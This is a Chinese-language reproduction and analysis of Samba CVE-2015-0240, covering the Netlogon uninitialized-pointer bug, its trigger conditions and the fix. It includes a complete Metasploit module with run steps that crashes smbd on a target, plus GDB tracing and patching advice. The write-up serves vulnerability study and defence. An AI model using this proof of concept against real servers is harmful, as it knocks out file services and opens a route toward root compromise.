CVE-2015-0240漏洞复现 - APT防御产品

CVE-2015-0240漏洞复现

0×01 简介

Samba 是利用 SMB 协议实现文件共享的一款著名开源工具套件。日前 Samba 曝出一个严重安全漏洞,该漏洞出现在 smbd 文件服务端,漏洞编号为 CVE-2015-0240,可以允许攻击者远程远程执行恶意代码。

作为一款老牌系统工具,Samba 的使用率非常高,更是作为很多 *BSD 和苹果 OS X操作系统的组件存在,因此影响面非常大。Samba 支持的操作系统包括 Windows 95/98/NT,OS/2 和Linux。

0×02 受影响的产品

该安全漏洞几乎影响Samba 全部版本,具体受影响版本如下:

Samba 3.5.x 全版本
Samba 3.6.x 到 Samba 3.6.25 之前的版本
Samba 4.0.x 到 Samba 4.0.25 之前的版本
Samba 4.1.x 到 Samba 4.1.17 之前的版本
Samba 4.2.x 到 Samba 4.2.0rc5 之前的版本

0×03 漏洞细节分析

以下的代码分析、调试和复现过程是在 samba-3.6.9 debuginfo 版中进行,系统版本为 CentOS 6.4。

源码可通过下面的路径获取:

https://download.samba.org/pub/samba/stable/

http://debuginfo.centos.org/6/x86_64/ (debuginfo 版 rpm)

a) Netlogon 服务流程分析

在请求 Samba Netlogon 服务的时候,大致的交互流程如下图:

Samba客户端如果想访问服务器上的资源,首先需要一个授权验证的过程。客户端会通过NetrServerAuthenticate 请求先到 Samba 服务器进行认证,服务器在收到请求后,会到域控服务器获取客户端的用户信息,并进行一系列的认证操作。

在认证通过后,服务器会用客户端、服务器、以及客户端密码 hash 等信息,生成一个会话凭证(credential),并保存到本地文件中。默认情况下该文件的存储路径为/var/lib/samba/private/schannel_store.tdb。

生成文件时所用的 hash 索引用到了 Samba 客户端的计算机名,这个计算机名,是在 NetrServerAuthenticate请求中由客户端提供的。

后续再调用 NetrServerPasswordSet请求时,服务器会先取出之前存储的凭证,并将之和请求中客户端提供的凭证做校验,在校验成功后才进行设置密码的操作。

漏洞恰恰就出现在 NetrServerPasswordSet请求从本地文件里获取凭证的过程中。

b) 漏洞源代码分析

首先来看 _netr_ServerPasswordSet函数,代码部分如下:

可以看到,creds 指针在声明的时候,没有赋初值,而且该指针是个局部变量,如果初始化时处理不当就会导致野指针。后续在函数 netr_creds_server_step_check 内部对 creds 进行初始化。如果初始化失败就会在 TALLOC_FREE(creds) 的地方释放这个指针,并返回错误码。如果初始化成功,后续就会正常使用这个指针。

因此,只有在 netr_creds_server_step_check 函数初始化失败,即 status 返回非零错误码后,才有可能造成 creds 未被赋值,进而在 TALLOC_FREE(creds) 的地方释放野指针。

接下来我们看 netr_creds_server_step_check 函数内部如何实现,如下图:

传入的是 creds 的二重指针,是为了给 creds 初始化,前面有个分支,读取了 smb.conf 文件中的配置信息。

creds 指针又被传入了 schannel_check_creds_state 函数中。所用我们进一步跟进schannel_check_creds_state 函数,如下图:

由上面的代码中可以看到,这个函数中是最终给 creds 指针赋值的位置,而且赋值位置在函数的尾部,只要前面产生错误,就会直接跳转到 done 标签的部分,造成 creds 指针未被赋值。接下来我们就分别分析以下,可能会导致走到 done 分支函数的功能。

open_schannel_session_store 函数的功能是打开服务器端本地保存凭证的文件(默认路径为 /var/lib/samba/private/schannel_store.tdb,可在 smb.conf 文件中配置)。只有在文件打开失败的情况下,该函数才会返回失败,无法由远程触发,而且通常这个操作也不会失败。

schannel_fetch_session_key_tdb 函数的功能,是用 NetrServerPasswordSet 请求中提供的 computer name 字段作为索引的一部分,从 schannel_store.tdb 文件中保存的 hash 结构中获取当前发送请求的客户端凭证。这里对于攻击者来说是比较容易让服务端返回错误的地方。

像前面 Netlogon 中提及的,如果客户端在发送 NetrServerPasswordSet 请求前没有发送 NetrServerAuthenticate 请求,服务端本地就不会保存对应这个客户端的凭证记录。此时就会造成这里返回失败,或者换个角度来说,如果 NetrServerPasswordSet 请求所提供的计算机名,服务器没见过或为空,这个函数就会返回错误。

最后是netlogon_creds_server_step_check函数。该函数的功能实际上就是检查NetrServerPasswordSet 请求中所提供的凭证,是否跟服务器端保存的凭证一致,如果不一致,也会返回错误。这里猜测也是攻击者比较好控制的点,只需在构造 NetrServerPasswordSet 请求时填充非法凭证即可。

所以最终本应由 schannel_check_creds_state 函数初始化的 creds 指针,由于提前错误返回,使得该指针没有被赋值。再加上这个指针在声明时也没有被赋值,最终导致了野指针。并在 TALLOC_FREE(creds) 时,使用该野指针。

c) 修复后源代码分析

如上面图中所示,实际上修复的内容很简单,只是添加了 creds 指针的有效性检查。首先将 creds 的初值置空,并在 TALLOC_FREE(creds) 之前添加了 creds 指针和计算机名的判空操作。

0×04 漏洞触发条件

结合上面分析的内容,总结上述可能会导致初始化失败的位置,触发条件如下:

1)发送NetrServerPasswordSet请求的客户端之前没有在服务端进行过认证(没有发送过 NetrServerAuthenticate 请求);

2) 客户端发送的 NetrServerPasswordSet 请求的 computer name 字段值为空;

3) 客户端发送的 NetrServerPasswordSet 请求中的凭证为无效凭证;

0×05 本地验证 POC

POC 是在 metasploit 下添加的模块,代码如下:

##
# This module requires Metasploit:http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
classMetasploit3< Msf::Auxiliary
 
 include Msf::Exploit::Remote::DCERPC
 include Msf::Exploit::Remote::SMB
 include Msf::Auxiliary::Dos
 
  definitialize(info ={})
    super(update_info(info,
      'Name'          =>'Samba Netlogon',
      'Description'    =>%q{
       This is a netlogon test module.
      },
      'Author'        =>['hurricaner'],
      'License'       => MSF_LICENSE,
      'References'     =>
       [
         ['CVE','2015-0240'],
       ]
      ))
 
   register_options(
      [
       OptString.new('SMBPIPE',[true,  "The pipe name to use",'NETLOGON']),
      ],self.class)
 
  end
 
  defrun
 
   pipe = datastore['SMBPIPE'].upcase
 
    print_status("Connecting to the SMB service...")
   connect()
   smb_login()
 
   datastore['DCERPC::fake_bind_multi']=false
 
   handle = dcerpc_handle('12345678-1234-abcd-ef00-01234567cffb','1.0','ncacn_np',["\\#{pipe}"])
   print_status("Bindingto #{handle} ...")
   dcerpc_bind(handle)
   print_status("Boundto #{handle} ...")
 
    # stub = lsa_open_policy(dcerpc)
   stub = NDR.uwstring('\\\\hello world')
   stub << NDR.wstring('root')
   stub << NDR.wstring('windows-01')
   stub <<'aabbccddabcd'
   stub <<'0123456789012345'
 
   print_status("Callingthe vulnerable function...")
 
    begin
      # netlogon setpassword
     dcerpc.call(0x6, stub)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse,::EOFError
     print_good('Server did not respond, this is expected')
    rescue=> e
      if e.to_s =~/STATUS_PIPE_DISCONNECTED/
       print_good('Server disconnected, this is expected')
      else
       raise e
      end
    end
 
    # dcerpc.call(0x0f, stub)
 
    disconnect
  end
 
end

POC 使用方法:

1.将上述代码拷贝到 netlogon_uaf.rb 中,并将 netlogon_uaf.rb 文件拷贝到 msf 的模块目录下,比如:/usr/share/metasploit-framework/modules/auxiliary/dos/samba

2.启动 msfconsole

3.显示需要配置的选项:show options

4.设置RHOST值:set RHOSTXXX.XXX.XXX.XXX

5.执行模块:run

Msf 模块执行之后,看到目标机器 smbd 进程已经打出异常栈,而且是崩溃在了 _talloc_free 函数中。

接下来我们用 GDB 验证一下分析的结论是否正确:

(1)我们在 _netr_ServerPasswordSet,netr_creds_server_step_check 函数打断点,如下图所示,断住后单步执行,这里标红的值 creds_out(0x7fffffffd418)就是待会释放异常的局部变量 creds的地址,computer_name 是从报文中获取的计算机名“windows-01”。

(2)进一步查看 creds 指针变量的值为 0x00007ffff4dcd1dc

(3)发现 0x00007ffff4dcd1dc 地址是内存中的代码段地址,反汇编后发现这个地址是属于函数 _talloc_zero,并且这个地址刚好是 memset 函数的返回地址,据此可以推测,当前 creds 指针的地址是曾经调用 _talloc_zero 函数时的栈帧,并且存储的是它调用 memset 函数的返回地址。在这里将代码的地址当作堆地址释放,是引起错误的根源。

(4)接下来我们看看,netr_creds_server_step_check 函数返回了什么。这个函数里面调用了schannel_check_creds_state 去检查服务器上数据库中的 creds 状态,查找状态时使用的 key 是使用从报文中获取的 computer_name(“windows-01”) 变为全部大写字符来生成的,这里 keystr 值为“SECRETS/SCHANNEL/WINDOWS-01”,并且我们看到查找的返回值为空。

(5)上面查找的值为空之后,后面两层函数都直接将错误状态值 (0xC0000034)返回了,这就使得代码最终走到了 TALLOC_FREE(creds) 这个致命的调用,来释放一个野指针,导致崩溃。

报文的交互流程如下:

0×06 漏洞影响范围

Samba 客户端发送恶意的 Netlogon 数据包给 smbd 就可以触发该漏洞,如果漏洞利用成功就可以获得 smbd 运行权限,而 smbd 是以 root 权限执行的,导致权限提升。

http://cve.scap.org.cn/CVE-2015-0240.html 给予漏洞的评分是10分,强烈建议企业和个人用户都尽快安装补丁修复该漏洞。

0×07 漏洞攻击防护

Samba 官方网站已经发布了最新补丁,建议广大用户尽快升级。各大 Linux 厂商也已经发布最新的补丁程序,升级办法参考各大官方网站即可。

补丁更新完成后,都需要重启 smbd 服务。

0×08 参考文档

https://www.samba.org/samba/security/CVE-2015-0240

http://lists.opensuse.org/opensuse-security-announce/2015-02/msg00028.html

https://access.redhat.com/articles/1346913

https://access.redhat.com/security/cve/CVE-2015-0240

http://www.ubuntu.com/usn/usn-2508-1/

https://security-tracker.debian.org/tracker/CVE-2015-0240

[作者/hurricaner,属FreeBuf原创]


转载请注明出处 APT防御产品 » CVE-2015-0240漏洞复现

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址